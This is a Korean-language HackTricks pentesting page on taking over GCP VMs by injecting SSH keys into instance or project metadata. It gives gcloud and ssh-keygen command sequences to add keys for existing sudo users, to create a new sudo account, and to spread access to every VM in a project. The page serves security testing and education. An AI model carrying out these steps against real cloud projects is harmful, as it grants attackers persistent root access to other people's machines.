GCP - Add Custom SSH Metadata

GCP - Add Custom SSH Metadata

Support HackTricks

Modifying the metadata

인스턴스의 메타데이터 수정은 공격자가 필요한 권한을 얻을 경우 상당한 보안 위험을 초래할 수 있습니다.

커스텀 메타데이터에 SSH 키 통합하기

GCP에서 리눅스 시스템은 종종 Google Compute Engine용 Python Linux Guest Environment에서 스크립트를 실행합니다. 이의 중요한 구성 요소는 정기적으로 인스턴스 메타데이터 엔드포인트를 확인하여 허가된 SSH 공개 키의 업데이트를 확인하는 accounts daemon입니다.

따라서 공격자가 커스텀 메타데이터를 수정할 수 있다면, 그는 데몬이 새로운 공개 키를 찾도록 만들 수 있으며, 이는 처리되어 로컬 시스템에 통합됩니다. 키는 기존 사용자~/.ssh/authorized_keys 파일에 추가되거나, 키의 형식에 따라 sudo 권한이 있는 새로운 사용자가 생성될 수 있습니다. 그리고 공격자는 호스트를 손상시킬 수 있습니다.

기존 권한 있는 사용자에게 SSH 키 추가하기

  1. 인스턴스의 기존 SSH 키 검사:

  • 인스턴스와 그 메타데이터를 설명하는 명령을 실행하여 기존 SSH 키를 찾습니다. 출력의 관련 섹션은 metadata 아래, 특히 ssh-keys 키에 있습니다.

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • SSH 키의 형식에 주의하십시오: 사용자 이름은 키 앞에 위치하며, 콜론으로 구분됩니다.

  1. SSH 키 메타데이터를 위한 텍스트 파일 준비:

  • 사용자 이름과 해당 SSH 키의 세부 정보를 meta.txt라는 텍스트 파일에 저장합니다. 이는 기존 키를 보존하면서 새로운 키를 추가하는 데 필수적입니다.

  1. 대상 사용자(alice 예시)에 대한 새로운 SSH 키 생성:

  • ssh-keygen 명령을 사용하여 새로운 SSH 키를 생성하며, 주석 필드(-C)가 대상 사용자 이름과 일치하도록 합니다.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • 새로운 공개 키를 meta.txt에 추가하여 인스턴스의 메타데이터에서 발견된 형식을 모방합니다.

  1. 인스턴스의 SSH 키 메타데이터 업데이트:

  • gcloud compute instances add-metadata 명령을 사용하여 인스턴스에 업데이트된 SSH 키 메타데이터를 적용합니다.

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. 새로운 SSH 키를 사용하여 인스턴스에 접근:

  • 새로운 키를 사용하여 SSH로 인스턴스에 연결하고, 대상 사용자(alice 예시)의 컨텍스트에서 셸에 접근합니다.

ssh -i ./key alice@localhost
sudo id

새로운 권한 있는 사용자 생성 및 SSH 키 추가하기

흥미로운 사용자가 발견되지 않으면, sudo 권한이 부여된 새로운 사용자를 생성할 수 있습니다:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH 키를 프로젝트 수준에서

프로젝트 수준에서 SSH 키를 적용하여 클라우드 환경의 여러 가상 머신(VM)에 대한 SSH 액세스 범위를 넓힐 수 있습니다. 이 접근 방식은 프로젝트 내에서 명시적으로 프로젝트 전체 SSH 키를 차단하지 않은 모든 인스턴스에 SSH 액세스를 허용합니다. 요약 가이드는 다음과 같습니다:

  1. 프로젝트 수준에서 SSH 키 적용:

  • gcloud compute project-info add-metadata 명령을 사용하여 meta.txt의 SSH 키를 프로젝트의 메타데이터에 추가합니다. 이 작업은 VM이 "프로젝트 전체 SSH 키 차단" 옵션을 활성화하지 않는 한, SSH 키가 프로젝트의 모든 VM에서 인식되도록 보장합니다.

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. 프로젝트 전체 키를 사용하여 인스턴스에 SSH 접속:

  • 프로젝트 전체 SSH 키가 설정되면, 프로젝트 내의 모든 인스턴스에 SSH 접속할 수 있습니다. 프로젝트 전체 키를 차단하지 않는 인스턴스는 SSH 키를 수락하여 액세스를 허용합니다.

  • 인스턴스에 SSH 접속하는 직접적인 방법은 gcloud compute ssh [INSTANCE] 명령을 사용하는 것입니다. 이 명령은 현재 사용자 이름과 프로젝트 수준에서 설정된 SSH 키를 사용하여 액세스를 시도합니다.

References

Support HackTricks

Last updated